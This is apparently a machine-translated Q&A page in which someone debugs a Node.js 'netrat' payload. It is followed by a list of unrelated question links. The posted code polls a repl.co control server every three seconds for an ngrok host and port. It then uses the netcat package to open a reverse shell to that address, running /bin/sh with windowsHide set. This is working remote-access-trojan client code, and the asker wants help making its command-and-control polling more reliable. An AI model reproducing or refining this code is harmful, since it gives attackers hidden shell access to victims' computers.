javascript - Node.js 内存泄漏?我做错了什么还是包裹有问题?
问题描述
我试图让我的 netcat 客户端获取 ngrok url 以连接到从控制服务器/管理员推送的那个,我希望客户端获取 url 直到服务器实际将 url 推送到 url 显示服务器然后停止,因为我不想要如果可能,50000 个 netcat 连接想调整客户端在尝试再次获取 url 之前花费的时间。有没有办法只允许每个客户端最多一个连接?我试图让 netrat 的有效负载刮掉 ip 以连接到我构建的辅助 api,但我不确定如何让它每隔几秒刮一次 url,而它也不会启动新的连接。
起初,当我第一次运行此代码时,它运行良好,并且实际上连接到 netcat 服务器一次,然后像预期的那样退出,但在第一次之后,无论它在连接之前出现什么错误,即使我也尝试过使用require('events').EventEmitter.defaultMaxListeners = 1;
发生了同样的事情,但出现了不同的错误
`MacBook-Pro:noderat (me)$ node '/Users/(me)/Desktop/noderat/builder/client/payload/netrat-shell.js'
(node:81799) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 2 SIGWINCH listeners added to [process]. Use emitter.setMaxListeners() to increase limit
(Use `node --trace-warnings ...` to show where the warning was created)
There was an issue running this application, please try running it again.
MacBook-Pro:noderat (me)$ node '/Users/(me)/Desktop/noderat/builder/client/payload/netrat-shell.js'
(node:81802) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 2 newListener listeners added to [TLSSocket]. Use emitter.setMaxListeners() to increase limit
(Use `node --trace-warnings ...` to show where the warning was created)
There was an issue running this application, please try running it again.`
第一个错误是我使用的第一个事件发射器限制器第二个错误是第二个事件发射器限制器
带有节点跟踪警告的继承人:
node --trace-warnings '/Users/(me)/Desktop/noderat/builder/client/payload/netrat-shell.js'
(node:82045) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 2 newListener listeners added to [TLSSocket]. Use emitter.setMaxListeners() to increase limit
at _addListener (events.js:390:17)
at TLSSocket.addListener (events.js:406:10)
at TLSSocket.Readable.on (internal/streams/readable.js:858:35)
at TLSSocket._init (_tls_wrap.js:716:10)
at new TLSSocket (_tls_wrap.js:512:8)
at Object.connect (_tls_wrap.js:1582:19)
at Agent.createConnection (https.js:129:22)
at Agent.createSocket (_http_agent.js:323:26)
at Agent.addRequest (_http_agent.js:274:10)
at new ClientRequest (_http_client.js:306:16)
There was an issue running this application, please try running it again.
require('events').EventEmitter.prototype._maxListeners = 1;
const NetcatClient = require('netcat').client
const fetch = require('node-fetch')
let fetching = setInterval(() => {
fetch('https://cp8g7s13rgmie4szykd6ytmsbd1zujckrfjajiy4vyephv0bbfhfbiwaoolv.1337sec.repl.co/url')
.then(res => res.text())
.then(text => {
CMD = 'macos' === 'win' ? 'cmd.exe' : '/bin/sh'
RHOST = text.slice(6, 20)
RPORT = parseInt(text.slice(21, 26))
RETRY = 3
console.log(RHOST)
console.log(RPORT)
nc.addr(RHOST).port(RPORT).retry(RETRY).connect().exec(CMD, [], {
windowsHide: true
})
})
}, 3000)
process.on('warning', function(err) {
if ('MaxListenersExceededWarning' == err.name) {
clearInterval(fetching);
console.log('There was an issue running this application, please try running it again.')
process.exit(1)
}
});
解决方案
推荐阅读
- node.js - 自动确认用户 Cognito + Node JS
- python - 当我尝试列出所有文件名时获取特殊字符
- javascript - 如何在没有过渡和内联样式添加到 html 的情况下创建幻灯片?可能吗?
- spring-webflux - 反应式编程 - 在完成时调用另一个 Mono #SpringWebFlux
- mongodb - MongoDB聚合和数组内公共字段的总和
- odoo - 在特定时间触发 Odoo 的预定操作(例如每天凌晨 1 点到 6 点)
- android - 在 kotlin 中加载图片 url 不显示图片
- apache - 从某些位置找不到网站 404
- javascript - 将参数传递给 js 函数
- javascript - 使用 ReactJS 显示数据 - 无法读取未定义的属性“地图”